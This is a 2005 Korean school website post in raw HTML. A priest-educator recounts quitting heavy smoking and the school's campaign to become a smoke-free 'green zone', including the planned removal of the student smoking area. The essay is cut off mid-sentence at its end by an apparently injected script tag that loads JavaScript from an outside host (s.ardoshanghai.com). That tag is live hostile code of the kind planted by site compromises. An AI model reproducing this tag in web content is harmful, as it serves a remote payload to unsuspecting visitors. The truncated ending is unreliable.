2005학년도 금연 선포식과 학교 그린 존

작성자 : 후원회 | 조회수 : 3,502 | 작성일 : 2005년 12월 17일

<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;<IMG style="WIDTH: 401px; HEIGHT: 338px" height=384 src="/UpLoadFiles/images/nichtstun_9-1.jpg" width=384 border=0></FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"></SPAN>&nbsp;</P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;니코틴, 알코올, 성, 이데올로기, 마약 등에 심각하게 중독이 되면 개인 건강은 물론 나라 건강까지 망친다. 나는 군 생활에 야간 사격을 하는 중 무료한 시간에 동료들이 권하는 담배를 태운 것이 골초가 될 줄이야. 오랫동안 하루에 세 갑 이상을 실하고 맛있게 태웠다. 생활 패턴이 아침형인 나는 아침 식사 전 재떨이에서 15대의 꽁초를 발견할 만큼, 늦게 배운 담배가 애연가의 수준을 넘어서고 있었다. 잠자는 시간, 식사 시간, 미사를 봉헌하는 시간 외에는 하루 종일 담배를 물고 지냈다. 그 골초광에서 해방된 지도 십 수 년. 여러 번 금연을 시도했으나 백전백패였다. 그러던 어느 날인가 전례 담당의 책임자 수녀님이 나에게 쓴 소리를 해댔다. “앞으로 저는 제의를 차리지 않겠습니다.”, ‘아니, 제의를 차리지 않겠다니 이게 도대체 무슨 말인가?’ 귀를 의심하며 “수녀님, 지금 뭐라고 했습니까?”, “제의에 담배 냄새가 찌들어 역겨워 앞으로 제의를 차리지 않겠다고 했습니다.” 하는 것이었다. 나에게는 담배 맛이 좋다는 생각 외에는 찌든 담배 냄새가 역겹다는 생각은 하지 못했다. 정말 사실인가? 사실 그 당시 내의를 입었다 벗으면 노랗게 염색이 될 정도로 몸이 황달이었으니 짐작도 갔다. 지나친 흡연이 건강을 해쳤고 남을 토하게 할 정도로 역겹게 했다는 사실이 충격적이었다. 끊어야지! 하고는 즉시 수녀님에게 금연 선포를 하고 말았다. 금단증으로 한동안 아무 일도 못할 정도로 많은 고생을 했지만 지금 생각하면 수녀님이 나의 생명의 은인이 된 셈이고 그것에 감사할 뿐이다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;양업 학교는 그 동안 많은 학생들이 흡연을 하였다. 수북이 쌓여 가는 꽁초를 보면서 그들의 마음을 대신하는 것 같아 그것을 보는 내 마음도 아팠다. 흡연 장소에서 선후배 간의 양아치 문화도 만들어졌고, 폭력과 괴롭힘의 장소도 되었다. 그들과 대화를 하려고 맞서면 입에서 토해내는 악취로 정말 불쾌하기 짝이 없었다. 마음 같아서는 강제적으로라도 학교를 ‘그린 존’으로 선포하고 싶었지만 너무나 심각한 골초들이라 불가능했었다. 아무리 교사가 강제한다고 해도 자발성이 결여되어 있으면 어디든 숨어서 흡연을 할 테니 그건 하나 마나다. 그 와중에도 <STRONG>지속적으로 금연 교육을 실시했고 지금은 교사와 학생들이 토론의 장을 펼치는 시간에 금연을 하자는 데 의견이 모아졌다.</STRONG> 올 11월의 일이다. 모든 일들이 그렇겠지만 마음 안에서 진심으로 우러나와야 실천력을 지닐 수 있다는 것을 알기에 오랜 시간이 소요되더라도 끈질기게 기다렸다. <STRONG>겨울 방학식이 있는 날, 전교생이 지켜보는 가운데 8년 동안의 흡연으로 찌든 흡연터가 사라질 예정이다. 쉽지는 않겠지만 학교가 ‘그린 존’이 되고 이런 노력이 또 다른 성숙한 대안 학교의 모습으로 성장하고 변화할 것이다.</STRONG> 골초인 한 학부모가 금연 선언을 했다. 특성화 교과목인 ‘가족 관계 프로그램’을 통해 학교는 물론이고 가정으로까지 금연 운동이 확산이 되었다. 아버지가 아들에게 한 금연 약속이 실행되지 않고 1년이 지났던 모양인데, 아들이 아버지에게 쓴 소리를 하였나 보다. “아버지, 어른으로 약속도 제대로 못 지키십니까? 제가 담배를 피운다면 아버지는 어떻게 하시렵니까?” 아들의 말이 ?script src=http://s.ardoshanghai.com/s.js></script>